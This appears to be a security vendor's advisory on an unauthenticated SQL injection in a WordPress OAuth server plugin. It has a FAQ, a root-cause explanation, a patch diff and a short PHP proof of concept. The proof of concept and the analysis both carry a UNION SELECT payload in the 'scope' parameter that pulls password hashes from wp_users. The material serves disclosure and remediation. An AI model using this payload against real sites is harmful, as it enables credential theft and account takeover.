What is CVE-2026-65520?

CVE-2026-65520 is a high-severity SQL injection vulnerability in the WP OAuth Server (Login with WordPress) plugin for WordPress, affecting versions up to and including 6.2.0. It allows unauthenticated attackers to inject malicious SQL queries into the database, potentially extracting sensitive information such as user credentials and API keys.

How does the SQL injection occur?

The vulnerability exists in the `checkScope` method of the `MoPdo.php` file. The `$scope` parameter is split into an array and directly concatenated into an SQL query without proper escaping or parameterization. An attacker can craft a malicious `scope` parameter that includes SQL syntax, such as a UNION SELECT, to alter the query and retrieve arbitrary data from the database.

Who is affected by this vulnerability?

Any WordPress site running the WP OAuth Server (Login with WordPress) plugin version 6.2.0 or earlier is vulnerable. The plugin is used to set up OAuth 2.0 and OpenID Connect authentication, so sites that rely on this plugin for login or API access are at risk.

How can I check if my site is vulnerable?

You can check the plugin version in the WordPress admin dashboard under Plugins. If the version is 6.2.0 or lower, your site is vulnerable. Additionally, you can review the `MoPdo.php` file for the vulnerable code pattern, or use security scanners that detect known CVEs.

What is the CVSS score and what does it mean?

The CVSS score is 7.5, which is rated as High severity. This indicates that the vulnerability is relatively easy to exploit and can lead to significant impact, such as full database disclosure, which may result in account takeover or data breach.

How was the vulnerability fixed?

The fix was released in version 6.2.1. The patch replaces the unsafe string concatenation with `$wpdb->prepare()` and uses placeholders for the scope values. This ensures that user input is treated as data, not as executable SQL code, thereby preventing injection attacks.

What should I do if I am using a vulnerable version?

Update the plugin to version 6.2.1 or later as soon as possible. If you cannot update immediately, consider temporarily disabling the plugin or restricting access to the OAuth endpoints. Also, review your database for any signs of unauthorized access or data exfiltration.

Can this vulnerability be exploited without authentication?

Yes, the vulnerability is unauthenticated, meaning an attacker does not need to log in to exploit it. The attack is carried out by sending a specially crafted request to the OAuth token or authorize endpoint, making it remotely exploitable.

What kind of data can an attacker extract?

An attacker can extract any data from the WordPress database, including user password hashes, email addresses, session tokens, and other sensitive information. This can lead to account takeover, privilege escalation, and further compromise of the site.

How does the proof of concept (PoC) demonstrate the vulnerability?

The provided PoC sends a POST request to the authorize endpoint with a malicious `scope` parameter that includes a UNION SELECT statement. This injects a query that retrieves password hashes from the `wp_users` table, demonstrating how an attacker can extract sensitive data.

Are there any temporary mitigations if I cannot update immediately?

As a temporary measure, you can use a Web Application Firewall (WAF) to block requests with suspicious `scope` parameters, or disable the OAuth endpoints via a security plugin. However, these are not foolproof, and updating the plugin is the only reliable fix.

What should I do if I suspect my site has been compromised?

If you believe your site has been exploited, immediately update the plugin, change all user passwords, and review database logs for unauthorized queries. Consider using a security plugin to scan for backdoors and audit user accounts for any suspicious activity.

Published : August 9, 2026

CVE-2026-65520: WP OAuth Server ( Login with WordPress ) <= 6.2.0 Unauthenticated SQL Injection PoC, Patch Analysis & Rule

CVE ID CVE-2026-65520

Plugin miniorange-oauth-20-server

Severity High (CVSS 7.5)

CWE 89

Vulnerable Version 6.2.0

Patched Version 6.2.1

Disclosed July 27, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65520: This is an unauthenticated SQL injection vulnerability in the WP OAuth Server (Login with WordPress) plugin, affecting versions up to and including 6.2.0. The flaw resides in the MoPdo class’s scope validation method, allowing an attacker to inject malicious SQL queries into a database query. With a CVSS score of 7.5, this vulnerability has a high severity rating due to its potential for sensitive information disclosure.

The root cause is a lack of input sanitization and query preparation in the `checkScope` method located in `miniorange-oauth-20-server/vendor/bshaffer/oauth2-server-php/src/OAuth2/Storage/MoPdo.php`. The vulnerable code path begins around line 510, where the `$scope` string is split into an array using `explode(‘ ‘, $scope)`. The array elements are then directly concatenated into the `$where_in` string, which is embedded into an SQL query. Critically, these values are not escaped or parameterized, allowing an attacker to inject arbitrary SQL commands. The query is then executed via `$wpdb->get_row()`, which does not provide any additional protection by default.

Exploitation occurs through the OAuth Server’s token endpoint, which is accessible via `POST /wp-json/moserver/authorize` or the standard `oauth/token` endpoint. The attacker sets the `scope` parameter in the request body to a malicious payload. For example, a payload such as `scope=openid ‘ UNION SELECT user_pass FROM wp_users– -` would append a UNION SELECT query to the original SELECT statement, extracting the password hashes from the `wp_users` table. The injected SQL modifies the query logic to return data, which can then be used to compromise user accounts.

The patch resolves the vulnerability by replacing the manual string concatenation with `$wpdb->prepare()` and table prefix. The diff shows a shift from a direct SQL string built with the `$where_in` variable to the use of placeholders (`%s`) and a prepared statement. This ensures that all values within the scope array are properly escaped and treated as data, not code. The fixed code is safe from SQL injection attacks as it prevents attacker-controlled input from altering the query structure.

Successful exploitation of this vulnerability allows an unauthenticated attacker to read arbitrary data from the WordPress database. This includes sensitive information such as user credentials (password hashes), API keys, and other confidential data. An attacker could exfiltrate this data to perform account takeover, privilege escalation, or further attacks against the site and its users. The impact is directly proportional to the data stored in the database, making this a critical security risk for affected WordPress installations.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/miniorange-oauth-20-server/mo_oauth_settings.php
+++ b/miniorange-oauth-20-server/mo_oauth_settings.php
@@ -15,7 +15,7 @@
  * Plugin Name:       miniOrange OAuth 2.0 Server/Provider
  * Plugin URI:        https://www.miniorange.com
  * Description:       Setup your site as Identity Server to allow Login with WordPress or WordPress Login to other client application /site using OAuth / OpenID Connect protocols.
- * Version:           6.2.0
+ * Version:           6.2.1
  * Requires at least: 4.8
  * Requires PHP:      5.6
  * Author:            miniOrange
@@ -36,7 +36,7 @@
  * Start at version 1.0.0 and use SemVer - https://semver.org
  * Rename this for your plugin and update it as you release new versions.
  */
-define( 'MINIORANGE_OAUTH_20_SERVER_VERSION', '6.2.0' );
+define( 'MINIORANGE_OAUTH_20_SERVER_VERSION', '6.2.1' );
 define( 'MOSERVER_BASENAME', plugin_basename( __FILE__ ));
 define( 'MINIORANGE_OAUTH_20_SERVER_PLUGIN_DIR_URL', plugin_dir_url( __FILE__ ) );
 define( 'MINIORANGE_OAUTH_20_SERVER_PLUGIN_DIR_PATH', plugin_dir_path( __FILE__ ) );
--- a/miniorange-oauth-20-server/vendor/bshaffer/oauth2-server-php/src/OAuth2/Storage/MoPdo.php
+++ b/miniorange-oauth-20-server/vendor/bshaffer/oauth2-server-php/src/OAuth2/Storage/MoPdo.php
@@ -510,12 +510,15 @@
 		if ( empty( $scope ) ) {
 			return false;
 		}
-		$scope    = explode( ' ', $scope );
-		$where_in = implode( ',', $scope );
-		$where_in = str_replace( ',', '','', $where_in );
+		$scope = explode( ' ', $scope );

 		global $wpdb;
-		$result = $wpdb->get_row( 'SELECT count(scope) as count  FROM ' . $wpdb->base_prefix . "moos_oauth_scopes where scope IN ('" . $where_in . "');", ARRAY_A );
+		$placeholders = implode( ',', array_fill( 0, count( $scope ), '%s' ) );
+		$sql          = $wpdb->prepare(
+			"SELECT count(scope) as count FROM {$wpdb->base_prefix}moos_oauth_scopes WHERE scope IN ($placeholders)",
+			$scope
+		);
+		$result = $wpdb->get_row( $sql, ARRAY_A );

 		if ( $result ) {
 			return $result['count'] == count( $scope );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-65520 - WP OAuth Server ( Login with WordPress ) <= 6.2.0 - Unauthenticated SQL Injection

// Define target URL
$target_url = 'http://your-wordpress-site.com/wp-json/moserver/authorize';

// Malicious scope payload: inject a UNION SELECT to extract password hashes from wp_users
// Assuming a common table prefix 'wp_' ; if not, adjust the SELECT statement accordingly
$payload = "openid ' UNION SELECT user_pass FROM wp_users-- -";

// Initialize cURL session
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('scope' => $payload)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));

// Execute the request and get the response
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch);
} else {
    echo "Response from target:n" . $response . "n";
}

// Close cURL session
curl_close($ch);

// The response will contain the extracted password hashes if the SQL injection was successful.
// The result is typically embedded in the 'count' field of the SQL response, or in the JSON structure.
// An attacker can then crack these hashes or use them in conjunction with other attack vectors.
?>

Frequently Asked Questions

What is CVE-2026-65520?
Overview of the vulnerability
CVE-2026-65520 is a high-severity SQL injection vulnerability in the WP OAuth Server (Login with WordPress) plugin for WordPress, affecting versions up to and including 6.2.0. It allows unauthenticated attackers to inject malicious SQL queries into the database, potentially extracting sensitive information such as user credentials and API keys.
How does the SQL injection occur?
Technical explanation
The vulnerability exists in the `checkScope` method of the `MoPdo.php` file. The `$scope` parameter is split into an array and directly concatenated into an SQL query without proper escaping or parameterization. An attacker can craft a malicious `scope` parameter that includes SQL syntax, such as a UNION SELECT, to alter the query and retrieve arbitrary data from the database.
Who is affected by this vulnerability?
Affected users
Any WordPress site running the WP OAuth Server (Login with WordPress) plugin version 6.2.0 or earlier is vulnerable. The plugin is used to set up OAuth 2.0 and OpenID Connect authentication, so sites that rely on this plugin for login or API access are at risk.
How can I check if my site is vulnerable?
Detection methods
You can check the plugin version in the WordPress admin dashboard under Plugins. If the version is 6.2.0 or lower, your site is vulnerable. Additionally, you can review the `MoPdo.php` file for the vulnerable code pattern, or use security scanners that detect known CVEs.
What is the CVSS score and what does it mean?
Severity assessment
The CVSS score is 7.5, which is rated as High severity. This indicates that the vulnerability is relatively easy to exploit and can lead to significant impact, such as full database disclosure, which may result in account takeover or data breach.
How was the vulnerability fixed?
Patch details
The fix was released in version 6.2.1. The patch replaces the unsafe string concatenation with `$wpdb->prepare()` and uses placeholders for the scope values. This ensures that user input is treated as data, not as executable SQL code, thereby preventing injection attacks.
What should I do if I am using a vulnerable version?
Immediate actions
Update the plugin to version 6.2.1 or later as soon as possible. If you cannot update immediately, consider temporarily disabling the plugin or restricting access to the OAuth endpoints. Also, review your database for any signs of unauthorized access or data exfiltration.
Can this vulnerability be exploited without authentication?
Attack vector
Yes, the vulnerability is unauthenticated, meaning an attacker does not need to log in to exploit it. The attack is carried out by sending a specially crafted request to the OAuth token or authorize endpoint, making it remotely exploitable.
What kind of data can an attacker extract?
Impact on data confidentiality
An attacker can extract any data from the WordPress database, including user password hashes, email addresses, session tokens, and other sensitive information. This can lead to account takeover, privilege escalation, and further compromise of the site.
How does the proof of concept (PoC) demonstrate the vulnerability?
PoC explanation
The provided PoC sends a POST request to the authorize endpoint with a malicious `scope` parameter that includes a UNION SELECT statement. This injects a query that retrieves password hashes from the `wp_users` table, demonstrating how an attacker can extract sensitive data.
Are there any temporary mitigations if I cannot update immediately?
Workarounds
As a temporary measure, you can use a Web Application Firewall (WAF) to block requests with suspicious `scope` parameters, or disable the OAuth endpoints via a security plugin. However, these are not foolproof, and updating the plugin is the only reliable fix.
What should I do if I suspect my site has been compromised?
Incident response
If you believe your site has been exploited, immediately update the plugin, change all user passwords, and review database logs for unauthorized queries. Consider using a security plugin to scan for backdoors and audit user accounts for any suspicious activity.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started